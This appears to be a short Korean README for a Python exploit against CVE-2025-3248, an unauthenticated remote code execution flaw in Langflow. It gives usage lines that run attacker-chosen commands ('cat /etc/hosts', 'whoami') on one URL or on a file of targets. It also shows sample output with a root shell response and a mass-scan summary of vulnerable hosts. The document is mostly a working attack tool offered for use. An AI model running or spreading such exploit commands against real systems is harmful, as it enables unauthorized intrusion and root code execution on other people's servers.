
CVE-2025-3248을 위한 Python 기반 익스플로잇입니다. 이 취약점을 통해 원격의 인증되지 않은 공격자가 조작된 HTTP 요청을 통해 취약한 Langflow 인스턴스에서 임의 코드를 실행할 수 있습니다.
python CVE-2025-3248.py http://target-url -c "cat /etc/hosts"
python CVE-2025-3248.py -f targets.txt
python CVE-2025-3248.py -f targets.txt -c "whoami"
[*] Progress: 1/10 URLs checked
[*] Checking https://example.com
[+] Vulnerable - Command Output:
uid=0(root) gid=0(root) groups=0(root)
--------------------------------------------------
[*] Scan Summary:
[+] Total URLs checked: 10
[+] Vulnerable URLs: 3
[+] Not Vulnerable URLs: 7
[*] Total scan time: 25.34s
[*] Results saved to files with timestamp